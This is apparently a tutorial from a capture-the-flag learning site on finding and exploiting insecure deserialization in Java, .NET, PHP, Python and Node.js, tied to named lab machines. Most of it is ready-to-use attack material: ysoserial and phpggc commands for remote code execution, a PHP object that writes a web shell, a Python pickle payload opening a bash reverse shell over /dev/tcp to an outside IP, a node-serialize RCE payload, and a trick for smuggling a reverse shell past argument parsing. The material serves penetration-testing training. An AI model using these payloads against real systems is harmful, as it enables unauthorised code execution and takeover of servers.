Insecure deserialization: spotting and exploiting it in Java, .NET, PHP, Python and Node.js
Spot serialized data by its first bytes (rO0AB, AAEAAAD, O:, gASV), understand gadget chains and get RCE with ysoserial, ysoserial.net, phpggc and pickle.
Serializing turns an object into bytes to store or send it (in a cookie, a hidden field, a message queue), and deserializing rebuilds it. If the application rebuilds whatever you send without checking it, you can hand it an object that runs code as it loads. That is insecure deserialization, with around twenty machines in the catalogue and one of the most typical RCE routes in Java and .NET applications.
1. Spotting it
First you need to see serialized data. Look in cookies, hidden parameters, headers and request bodies, and decode anything that looks like base64:
| Starts with | What it is |
|---|---|
rO0AB (base64) / AC ED 00 05 (hex) |
Java (ObjectInputStream) |
AAEAAAD///// (base64) |
.NET BinaryFormatter |
/wEy... or a __VIEWSTATE field |
.NET ViewState |
{"$type":"System... |
.NET Json.NET with TypeNameHandling |
O:4:"User":2:{...} or a:2:{...} |
PHP serialize() |
gASV (base64) / 80 04 95 (hex) |
Python pickle (protocol 4) |
{"rce":"_$$ND_FUNC$$_function(){...}"} |
Node.js node-serialize |
--- !ruby/object |
Ruby YAML |
The encoder helps you go from base64 to hex to see the header.
2. The idea: gadget chains
You do not send code: you send an object of a class that already exists in the application or its libraries, with values chosen so that the methods called automatically during deserialization (readObject, __wakeup, __destruct, __reduce__) end up running a command. That chain of classes is called a gadget chain, and there are tools bundling the known ones for each library.
3. Java: ysoserial
java -jar ysoserial-all.jar CommonsCollections5 'ping -c 2 10.10.14.5' | base64 -w0
Which gadget to use depends on the application's libraries (Commons Collections, Spring, Groovy...). If you do not know, try the common ones and see whether the ping arrives (sudo tcpdump -ni tun0 icmp). URLDNS runs nothing but makes a DNS lookup: it confirms deserialization happens even when no useful gadget chain exists.
Tip
ysoserial commands do not go through a shell: |, > and quotes do not work. Use bash -c {echo,BASE64}|{base64,-d}|{bash,-i} to fit a full reverse shell.
4. .NET: ysoserial.net
ysoserial.exe -f Json.Net -g ObjectDataProvider -o base64 -c "ping -n 2 10.10.14.5"
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c ..."
With ViewState, you need the validation key (machineKey) from web.config, which you can read through an LFI:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -enc ..." `
--path="/portfolio/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="..." `
--validationalg="SHA1" --validationkey="..."
That is the chain on POV. On JSON, a base64 token turns out to be Json.NET JSON with $type.
5. PHP: phpggc and magic methods
In PHP, unserialize() creates objects of any loaded class and calls their magic methods (__wakeup, __destruct, __toString). If you have the code (through an exposed .git, say), look for those methods and build the object yourself:
<?php
class Logger { public $file = '/var/www/html/shell.php'; public $data = '<?php system($_GET["c"]); ?>'; }
echo urlencode(serialize(new Logger()));
If not, phpggc ships chains for Laravel, Symfony, Monolog, Guzzle, WordPress...:
phpggc -l laravel
phpggc Laravel/RCE9 system id -b
A related trick: a phar:// file is also deserialized when read with ordinary file functions (file_exists, fopen), so a file upload plus a controlled path can lead to the same place.
6. Python: pickle
pickle.loads() runs whatever __reduce__ says. No special library needed:
import pickle, base64, os
class RCE:
def __reduce__(self):
return (os.system, ("bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'",))
print(base64.b64encode(pickle.dumps(RCE())).decode())
The same goes for yaml.load() without SafeLoader (!!python/object/apply:os.system [...]). On Canape, the exposed source code reveals a cPickle.loads() on user data.
7. Node.js: node-serialize
node-serialize evaluates functions tagged with _$$ND_FUNC$$_, and if you append (), they run on deserialization:
{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 2 10.10.14.5')}()"}
Base64-encode it if the cookie expects that. It is the way into Celestial.
Common errors
- No gadget does anything: the application lacks those libraries on its classpath, or filters classes. Confirm first with
URLDNS(Java) or a DNS-only gadget. - Deserialization error: the encoding is not what it expects (standard vs URL-safe base64, URL-encoded on top, gzip-compressed). Look at how the original value is shaped and reproduce it exactly.
- The ViewState is rejected:
--pathand--apppathmust match the page exactly, or the signature will not check out.
What next
With command execution, get a shell (reverse shells) and follow the post-exploitation checklist. And remember deserialization also turns up inside machines, in scripts root runs: Precious ends with a Ruby YAML that deserializes whatever you write.